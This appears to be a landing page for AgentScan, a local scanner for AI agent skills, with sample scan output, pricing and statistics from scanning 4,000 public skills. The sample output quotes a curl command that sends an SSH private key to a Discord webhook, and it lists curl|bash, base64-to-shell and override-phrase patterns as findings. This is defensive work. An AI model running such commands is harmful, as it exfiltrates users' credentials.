Skip to content
AgentScan
Open source · Local · Deterministic

Know what you’re installing.

A deterministic scanner for AI agent skills. Point it at any skill directory and see what the skill actually does — permissions, network, secrets, risk — before it touches your machine.

$ pip install scanaskill|zero dependencies|works offline

~/.claude/skills/auto-updaterexit 1
$ agentscan ~/.claude/skills/auto-updateragentscan — deterministic scan · nothing leaves this machinescanned 1 artifact(s), 14 finding(s)  ARTIFACT  [claude-skill] auto-updater  CRITICAL [exfil] Local secret read piped to network           SKILL.md:41           curl -d @~/.ssh/id_rsa https://discord.com/api/webhooks/…  CRITICAL [secrets] AWS Access Key           SKILL.md:24  CRITICAL [obfuscation] base64 decode piped to shell           SKILL.md:52  HIGH     [supply_chain] curl|bash (remote code pipe)           SKILL.md:12  HIGH     [filesystem] rm -r (recursive delete)           SKILL.md:37  MEDIUM   [config_tamper] Remote MCP server           .mcp.json:4  MEDIUM   [prompt_patterns] Ignore-previous-instructions phrasing           SKILL.md:30  LOW      [license] No license declared           SKILL.md:1  … 6 more finding(s) (use --max-findings 0 or --json for all)  summary: critical=3 high=2 medium=5 low=2 info=2  per check: config_tamper=1, exfil=1, filesystem=2, license=1,             network=3, obfuscation=1, prompt_patterns=1, secrets=2,             shell=1, supply_chain=2  note: findings are observed patterns, not verdicts.        Review each before acting.$ echo $?1
deterministic · offline · nothing leaves this machine

01Pricing

Scan for free. Buy trust once. Keep it maintained.

The scanner is free. The distribution is a one-time purchase. $9/month keeps it continuously verified.

Free

AgentScan CLI

The open-source scanner.

$0forever
  • Unlimited local scans
  • GitHub repository scanning
  • Local skill scanning
  • Human-readable reports
  • JSON output
  • MIT licensed
  • Local-first
  • Community support
Get Started Free

MIT · no account · no telemetry

Trusted Distribution

Own the trust

A continuously audited distribution of AI agent skills. Human review, signed releases, one command to install.

$49one-time purchase
  • Human-reviewed
  • Security audit reports
  • Signed releases
  • One-command installer
  • Commercial use
  • Public audit history
  • 12 months of updates
Buy Trusted Distribution

includes 12 months of updates

Maintenance

Continuous trust

You own the distribution. This keeps it audited, updated, and maintained — month to month.

$9/ month
  • Continuous security rescans
  • New verified skills
  • Compatibility updates
  • Security advisories
  • Revoked skill notifications
  • Audit database updates
  • Priority support
Subscribe

cancel anytime

Pricing, roadmap and FAQ

02The problem

Agent skills are dependencies now.

A skill is code your agent runs with your permissions, on your secrets. Installing one from a random repo is curl|bash with extra steps — nobody reviews it.

01

Installed like a plugin. Runs like software.

Reads your files. Reaches your network. Runs in your shell. One un-reviewed commit between helper and backdoor.

02

Marketplaces rank by popularity, not safety.

Stars measure adoption, not trust. The most-installed skill is the least examined.

03

The incidents are already here.

ToxicSkills (Snyk, Feb 2026): 76 confirmed malicious payloads in 3,984 public skills. Clinejection turned one issue title into a supply-chain compromise.

03The scanner

Point it at any skill.

Runs locally. Executes nothing. Never calls out. Same input, same report.

$ agentscan .agentscan — deterministic scan · nothing leaves this machinescanned 1 artifact(s), 14 finding(s)  ARTIFACT  [claude-skill] auto-updater  CRITICAL [exfil] Local secret read piped to network           SKILL.md:41           curl -d @~/.ssh/id_rsa https://discord.com/api/webhooks/…  CRITICAL [secrets] AWS Access Key           SKILL.md:24  CRITICAL [obfuscation] base64 decode piped to shell           SKILL.md:52  HIGH     [supply_chain] curl|bash (remote code pipe)           SKILL.md:12  HIGH     [filesystem] rm -r (recursive delete)           SKILL.md:37  MEDIUM   [config_tamper] Remote MCP server           .mcp.json:4  MEDIUM   [prompt_patterns] Ignore-previous-instructions phrasing           SKILL.md:30  LOW      [license] No license declared           SKILL.md:1  … 6 more finding(s) (use --max-findings 0 or --json for all)  summary: critical=3 high=2 medium=5 low=2 info=2  per check: config_tamper=1, exfil=1, filesystem=2, license=1,             network=3, obfuscation=1, prompt_patterns=1, secrets=2,             shell=1, supply_chain=2  note: findings are observed patterns, not verdicts.        Review each before acting.$ echo $?1

Risk summary

Severity counts per check. The facts you base a verdict on.

Warnings

Findings with file:line — shell, eval, unpinned installs, hooks.

Dangerous permissions

rm -rf, chmod 777, force-push, remote MCP servers.

Network access

Where the skill connects — URLs, IP literals, exfil sinks.

License

Declared vs. recognized. 93.6% of public skills declare none.

Secrets

20+ token formats. Placeholders excluded by design.

04Trusted distribution

Install from a distribution that audits every skill.

Scanned, human-reviewed, re-verified on every release. Fifty we can defend, not five thousand we can't.

Human review

A person reads every listing. The review leaves a public record.

Continuous verification

Every release is re-scanned. Behavior changes show up before you update.

Signed releases

A tampered archive fails verification instead of installing.

Public audit history

Every scan report, review note, and re-verification — in the open.

See pricing

revenue is verification, not curation

05Features

Built like developer tools should be.

Small surface. One command. No surprises.

01

Local scanning

Point it at any directory — skills, MCP servers, configs.

02

Zero cloud upload

No account. No telemetry. Works offline.

03

Open source CLI

MIT. Zero dependencies. Pure stdlib.

04

Deterministic, not ML

Regex, entropy, structure. Same input, same report.

05

Executes nothing

Never runs the skill. Never calls out.

06

CI-ready output

Exit codes, JSON, SARIF 2.1.0 for GitHub code scanning.

06Research

The ecosystem, measured.

4,000 public skills, scanned with the same tool you can run. Every number is reproducible.

Scan findings across 4,000 sampled public AI agent skills.
Signal% of skills
No recognizable license

Redistribution rights unclear for almost everything.

93.6%
Invokes shell / interpreter

Most skills can execute code, unsandboxed.

75.3%
Supply-chain patterns (curl|bash, unpinned installs)

Nearly 1 in 4 pulls or installs something.

23.1%
Credential-format strings

Placeholders excluded — these skew real.

14.7%
Destructive filesystem ops

rm -r, git reset --hard, truncating overwrites.

7.6%
Exfiltration sinks

Webhooks, env-in-URL, secret→network.

4.2%
Prompt-manipulation phrasing

Flagged for review, never 'detected'.

3.3%
Obfuscation chains

Decode piped to shell.

0.4%
Any high/critical finding

At least one high/critical observation per skill.

18.0%

1 in 5 skills carries a high/critical observation.

1 in 4 pulls or installs something.

9 in 10 cannot be legally redistributed.

Method & honesty

Findings are observed patterns, not verdicts — the scanner never calls anything malicious; you decide. A shell invocation in a shell-scripting skill is correct. Snyk’s ToxicSkills audit (Feb 2026) measured a different corpus and landed in the same range.

Read the full report

174 repos · 8,414 unique · n=4,000 · seed 42

Scan before you install.

Free. Local. Open source. It takes one command.

$ pip install scanaskill